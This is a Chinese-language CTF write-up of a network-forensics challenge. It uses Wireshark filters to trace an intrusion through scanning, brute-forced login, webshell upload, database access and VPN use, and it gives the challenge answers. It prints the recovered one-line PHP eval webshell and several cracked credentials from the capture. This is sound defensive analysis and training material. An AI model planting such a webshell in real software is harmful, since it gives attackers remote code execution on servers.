流量分析(安恒八月赛)

环境:安恒八月月赛CTF

题目背景:

某公司内网网络被黑客渗透,简单了解,黑客首先攻击了一台web服务器,破解了后台的账户的密码,随之利用破解的密码登陆了mail系统,然后获取了Vpn的申请方式,然后登陆vpn,在内网pwn掉了一台打印机,请根据提供的流量包回答下面有关问题"

目录

1.某公司内网网络被黑客渗透,请分析流量,给出黑客使用的扫描器

2.某公司内网网络被黑客渗透,请分析流量,得到黑客扫描到的登陆后台是(相对路径即可)

3.某公司内网网络被黑客渗透,请分析流量,得到黑客使用了什么账号密码登陆了web后台(形式:username/password)

4.某公司内网网络被黑客渗透,请分析流量,得到黑客上传的webshell文件名是,内容是什么,提交webshell内容的base编码

5.某公司内网网络被黑客渗透,请分析流量,黑客在robots.txt中找到的flag是什么

6.某公司内网网络被黑客渗透,请分析流量,黑客找到的数据库密码是多少

7.某公司内网网络被黑客渗透,请分析流量,黑客在数据库中找到的hash_code是什么

8.某公司内网网络被黑客渗透,请分析流量,黑客破解了账号ijnu@test.com得到的密码是什么

9.某公司内网网络被黑客渗透,请分析流量,被黑客攻击的web服务器,网卡配置是是什么,提交网卡内网ip

[10.某公司内网网络被黑客渗透,请分析流量,黑客使用了什么账号登陆了mail系统(形式: username/password)](#10.某公司内网网络被黑客渗透,请分析流量,黑客使用了什么账号登陆了mail系统(形式: username/password))

11.某公司内网网络被黑客渗透,请分析流量,黑客获得的vpn的ip是多少


1.某公司内网网络被黑客渗透,请分析流量,给出黑客使用的扫描器

先大致的看一看http流量

这里一看就知道是黑客的攻击行为,想尝试访问etc/passwd文件

现在单独查黑客攻击服务器的http流量并且搜索常见扫描器特征

常见扫描器:sqlmap awvs rsas appscan nessus

常见扫描器特征 - 雨九九 - 博客园 (cnblogs.com)

ip.addr == 192.168.94.59 && http contains"acunetix-wvs-test-for-some-inexistent-file"

这里能看到黑客使用了awvs特有的目录

2.某公司内网网络被黑客渗透,请分析流量,得到黑客扫描到的登陆后台是(相对路径即可)

一般来说找登录后台就去看特征login/admin/之类的

ip.addr == 192.168.94.59 && http contains"login"

这里明显能看到扫描到了admin/login.php并且服务器返回了200

3.某公司内网网络被黑客渗透,请分析流量,得到黑客使用了什么账号密码登陆了web后台(形式:username/password)

继续追踪黑客访问admin/login.php

ip.addr == 192.168.94.59 && http contains"/admin/login"

这里能看到黑客先是进行了sql注入但似乎没有成功

继续往下看

到这里能发现黑客对网站进行爆破

继续往下

似乎还尝试了无参数rce和目录跳跃

我们直接拉到最下面

这里能看到黑客在登陆后成功访问了admin/index.php,所以上一条流量就是成功登录的账户密码

4.某公司内网网络被黑客渗透,请分析流量,得到黑客上传的webshell文件名是,内容是什么,提交webshell内容的base编码

上传webshell大概是黑客成功登录网站后台以后通过后台上传功能上传的(猜测)

  1. 查看黑客登录以后的流量
  2. 常看POST传参(一般的上传文件以及通过工具连接大多数都是POST)
  3. 找有没有访问上传点,比如upload之类的
    ip.addr == 192.168.94.59 && http.request.method == POST

这里我直接查找的POST流量,这里能明显看到,黑客在成功登陆以后通过某个东西上传了一个a.php文件

###(定点,在搜索之前,点击黑客成功登录的流量,然后输入过滤 .....POST,waldshark就会自动跳到这个流量的位置)

这里我追踪了一下updata的tcp流量没有什么收获(猜测不是通过http上传的)

这里看a.php流量,能发现a.php用的是1234作为密码,并且从@eval并且传输参数base64加密来看,看起来像是菜刀的特征

这里我们去找tcp流量,(特征:@eval($_POST[1234] )

##原因我们是找POST流量看到的a.php所以一句话木马也应该是$_POST,又因为特征像是菜刀,所以@eval

ip.addr == 192.168.94.59 && tcp contains"@eval($_POST[1234]"

找到以后直接ctrl+shift+alt+t追踪tcp流量

向下翻

<?php @eval($_POST[1234]);?>

5.某公司内网网络被黑客渗透,请分析流量,黑客在robots.txt中找到的flag是什么

这里直接去找黑客访问robots.txt的流量

ip.addr == 192.168.94.59 && http contains"robots.txt"

我开始的时候查看最后面服务器返回的流量但是并没有flag,只有flag文件

我一个一个追踪tcp直到 ip:端口/robots 那条流量才有flag

flag:87b7cb79481f317bde90c116cf36084b

这道题似乎是想让你看黑客通过webshell来看robots.php的流量,我做到后面分析黑客通过webshell执行的命令才看到

6.某公司内网网络被黑客渗透,请分析流量,黑客找到的数据库密码是多少

数据库用户密码之类的一般在网站配置文件里就有

到这里查看黑客通过webshell做了什么

单独找a.php

ip.addr == 192.168.94.59 && http contains"a.php"

当我看到这个数据包把参数base64解码以后发现已经在执行sql命令了

我们需要看服务器的响应包

还是老样子点击这个数据包后,然后重新过滤

ip.addr == 192.168.94.59 && http

从这个数据包向上看,发现了服务器返回的网站配置文件,并且找到了账户密码

web/e667jUPvJjXHvEUv

7.某公司内网网络被黑客渗透,请分析流量,黑客在数据库中找到的hash_code是什么

查看所有mysql并且有关键字hash_code追踪所有tcp流

d1c029893df40cb0f47bcf8f1c3c17ac

8.某公司内网网络被黑客渗透,请分析流量,黑客破解了账号ijnu@test.com得到的密码是什么

既然都说是内网网络了,那就该到tcp协议了

直接把账号当特征过滤

tcp contains "ijnu@test.com"

得到三个数据包

追踪tcp流量,然后搜索

密码:b78f5aa6e1606f07def6e839121a22ec

MD5解码后:edcv!@#

9.某公司内网网络被黑客渗透,请分析流量,被黑客攻击的web服务器,网卡配置是是什么,提交网卡内网ip

这里回到webone.pcap

网卡就去找eth0 eth1这些

tcp contains "eth0"

追踪tcp流

这里能看到外网ip:192.168.32.189 内网ip:10.3.3.100

10.某公司内网网络被黑客渗透,请分析流量,黑客使用了什么账号登陆了mail系统(形式: username/password)

过滤出登录mail的流量能明显看到黑客在爆破,能看到密码但是加密了,尝试了base64解密但是不行,不是base64,应该是AES加密,但需要找到加密的密钥

再通过登录特征过滤找到返回码200的数据包

随机追踪一个返回码两百的数据包看到加密的密匙

这是AES的CBC加密,填充格式为ZeroPadding,密钥为字符串1234567812345678的hash值,偏移量为1234567812345678

从下向上看找到登录成功的流量包通过aes解密就可

11.某公司内网网络被黑客渗透,请分析流量,黑客获得的vpn的ip是多少

打开数据包发现这里一直在尝试登录

在数据包二发现这三个ip出现的最多,一个肯定是服务器的ip

一个一个过滤分析

10.3.4.96

一看就是服务器

再看10.3.4.55

发现每一次都是10.3.4.3对10.3.4.55发包然后10.3.4.55回包

所以10.3.4.3大概率就是黑客获得的vpn的ip

相关推荐
CoderIsArt1 小时前
Redis的三种模式:主从模式,哨兵与集群模式
数据库·redis·缓存
师太,答应老衲吧3 小时前
SQL实战训练之,力扣:2020. 无流量的帐户数(递归)
数据库·sql·leetcode
Channing Lewis4 小时前
salesforce case可以新建一个roll up 字段,统计出这个case下的email数量吗
数据库·salesforce
毕业设计制作和分享5 小时前
ssm《数据库系统原理》课程平台的设计与实现+vue
前端·数据库·vue.js·oracle·mybatis
ketil275 小时前
Redis - String 字符串
数据库·redis·缓存
Hsu_kk6 小时前
MySQL 批量删除海量数据的几种方法
数据库·mysql
编程学无止境6 小时前
第02章 MySQL环境搭建
数据库·mysql
knight-n6 小时前
MYSQL库的操作
数据库·mysql
包饭厅咸鱼7 小时前
QML----复制指定下标的ListModel数据
开发语言·数据库
生命几十年3万天8 小时前
redis时间优化
数据库·redis·缓存